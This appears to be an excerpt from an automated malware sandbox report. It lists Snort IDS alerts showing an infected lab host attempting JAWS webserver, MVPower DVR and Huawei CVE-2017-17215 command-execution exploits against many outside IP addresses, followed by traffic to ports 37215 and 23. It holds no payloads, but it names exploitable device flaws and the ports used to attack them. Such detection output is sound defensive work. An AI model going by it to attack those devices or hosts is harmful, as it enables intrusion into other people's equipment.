Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:36124 -> 35.169.168.55:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:41054 -> 96.11.0.254:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:57734 -> 50.236.225.130:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:52094 -> 208.87.99.128:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:37916 -> 52.36.0.173:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59400 -> 20.29.183.40:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59338 -> 23.231.136.43:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:36124 -> 35.169.168.55:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:41054 -> 96.11.0.254:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:59400 -> 20.29.183.40:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:52094 -> 208.87.99.128:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:59338 -> 23.231.136.43:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:57734 -> 50.236.225.130:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:50810 -> 45.76.43.88:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:51960 -> 116.6.105.90:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:39820 -> 116.106.105.209:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:50810 -> 45.76.43.88:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:51960 -> 116.6.105.90:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:39820 -> 116.106.105.209:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59204 -> 34.160.87.105:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:47000 -> 209.95.33.158:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37834 -> 23.64.28.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54978 -> 84.197.223.154:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:53554 -> 185.164.186.63:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:55966 -> 195.245.74.9:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:47220 -> 103.69.247.47:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:55966 -> 195.245.74.9:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54272 -> 45.132.241.41:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:37834 -> 23.64.28.225:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:47000 -> 209.95.33.158:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54978 -> 84.197.223.154:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:53554 -> 185.164.186.63:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54272 -> 45.132.241.41:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:47220 -> 103.69.247.47:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:47686 -> 23.95.247.76:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:47686 -> 23.95.247.76:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35360 -> 41.43.168.76:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35360 -> 41.43.168.76:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:58046 -> 201.172.117.152:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:58046 -> 201.172.117.152:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54068 -> 18.224.121.76:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:50836 -> 134.22.21.42:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:50200 -> 2.19.74.62:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:50288 -> 202.165.121.250:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54068 -> 18.224.121.76:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42564 -> 107.146.234.158:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:50836 -> 134.22.21.42:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:42564 -> 107.146.234.158:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:50200 -> 2.19.74.62:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:60906 -> 95.100.235.124:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:60906 -> 95.100.235.124:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49870 -> 45.39.159.30:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54112 -> 18.224.121.76:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:49870 -> 45.39.159.30:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54112 -> 18.224.121.76:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54650 -> 51.75.161.197:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:53416 -> 51.210.180.200:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:56592 -> 142.112.26.153:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54650 -> 51.75.161.197:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:53416 -> 51.210.180.200:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:56592 -> 142.112.26.153:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:50288 -> 202.165.121.250:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:34908 -> 59.190.129.217:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54696 -> 51.75.161.197:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:36780 -> 147.135.174.32:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43780 -> 153.122.144.93:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:47834 -> 23.224.94.20:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:41840 -> 192.151.235.198:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33266 -> 188.59.40.100:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59846 -> 5.251.4.167:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54062 -> 23.215.200.44:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:39472 -> 66.33.220.122:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:34908 -> 59.190.129.217:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54696 -> 51.75.161.197:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:36780 -> 147.135.174.32:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:43780 -> 153.122.144.93:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:47834 -> 23.224.94.20:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:60762 -> 38.207.99.217:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:41840 -> 192.151.235.198:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54062 -> 23.215.200.44:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:39472 -> 66.33.220.122:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:36730 -> 18.155.109.0:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:59846 -> 5.251.4.167:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:33266 -> 188.59.40.100:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:57490 -> 154.214.86.243:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45098 -> 164.42.150.172:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:45098 -> 164.42.150.172:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:41400 -> 51.15.239.17:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:50124 -> 23.67.167.116:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42320 -> 18.102.140.68:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:41400 -> 51.15.239.17:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:50124 -> 23.67.167.116:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:42320 -> 18.102.140.68:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:36730 -> 18.155.109.0:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42630 -> 13.33.18.73:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:52074 -> 147.46.240.199:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:38648 -> 182.92.126.127:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:42630 -> 13.33.18.73:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:48314 -> 154.194.149.105:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33346 -> 193.180.115.13:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:53566 -> 159.75.252.47:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44174 -> 46.229.129.131:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:38648 -> 182.92.126.127:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:53566 -> 159.75.252.47:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:44174 -> 46.229.129.131:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59884 -> 208.186.235.80:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59378 -> 38.207.22.210:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59714 -> 106.75.71.194:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:59714 -> 106.75.71.194:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:33346 -> 193.180.115.13:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40690 -> 156.241.90.3:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40690 -> 156.241.90.3:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:51726 -> 38.38.113.178:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:57790 -> 156.241.99.154:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:50492 -> 82.223.21.137:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:51726 -> 38.38.113.178:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:46128 -> 92.255.78.26:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40218 -> 103.208.141.2:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:56302 -> 154.86.229.116:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40374 -> 5.150.254.149:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:50492 -> 82.223.21.137:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:48196 -> 199.190.47.23:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:46128 -> 92.255.78.26:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:40218 -> 103.208.141.2:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:56302 -> 154.86.229.116:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:40374 -> 5.150.254.149:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:48196 -> 199.190.47.23:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49864 -> 199.67.121.162:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:49864 -> 199.67.121.162:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42510 -> 185.103.117.76:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:51604 -> 45.145.88.5:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:55878 -> 37.235.240.159:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54860 -> 23.9.126.72:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:42510 -> 185.103.117.76:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:51604 -> 45.145.88.5:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:55878 -> 37.235.240.159:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54860 -> 23.9.126.72:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33956 -> 137.175.8.6:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37232 -> 35.162.207.131:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:58350 -> 23.92.6.113:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:58066 -> 54.235.16.88:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:33956 -> 137.175.8.6:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:37232 -> 35.162.207.131:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45884 -> 218.161.62.21:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:56008 -> 167.172.166.210:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:58066 -> 54.235.16.88:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:45884 -> 218.161.62.21:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:56008 -> 167.172.166.210:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:52936 -> 136.226.64.127:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:50478 -> 23.79.27.90:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:60042 -> 204.114.95.126:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45670 -> 35.233.4.129:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:52936 -> 136.226.64.127:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:34374 -> 209.200.67.104:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:50478 -> 23.79.27.90:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:60042 -> 204.114.95.126:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:55302 -> 52.193.158.255:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:45670 -> 35.233.4.129:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:53158 -> 123.56.68.237:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:55302 -> 52.193.158.255:80

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 35360
Source: unknown	Network traffic detected: HTTP traffic on port 40690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59576
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59596
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59626
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59642
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59672
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59678
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59684
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59688
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59712
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59728
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59736
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59750
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59764
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59776
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59784
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59792
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59796
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59820
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59826
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59842
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59872
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59836
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59878
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59884
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59886
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59892
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59934
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59938
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59960
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59970
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59972
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59980
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59984
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 59986
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60024
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60028
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60052
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60086
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60054
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60104
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60114
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60120
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60004
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60144
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60160
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60164
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60180
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60190
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60194
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60234
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60246
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60252
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60278
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60296
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60298
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60308
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60316
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60318
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60330
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60336
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60346
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60362
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60382
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60384
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60392
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60402
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60414
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60424
Source: unknown	Network traffic detected: HTTP traffic on port 59772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60462
Source: unknown	Network traffic detected: HTTP traffic on port 59772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60524
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60416
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60584
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60594
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60608
Source: unknown	Network traffic detected: HTTP traffic on port 57518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60652
Source: unknown	Network traffic detected: HTTP traffic on port 59772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60686
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60674
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60714
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 48662
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60756
Source: unknown	Network traffic detected: HTTP traffic on port 46546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 48688
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60778
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 48880
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60972
Source: unknown	Network traffic detected: HTTP traffic on port 46546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 48918
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 32786
Source: unknown	Network traffic detected: HTTP traffic on port 59772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 48974
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 32834
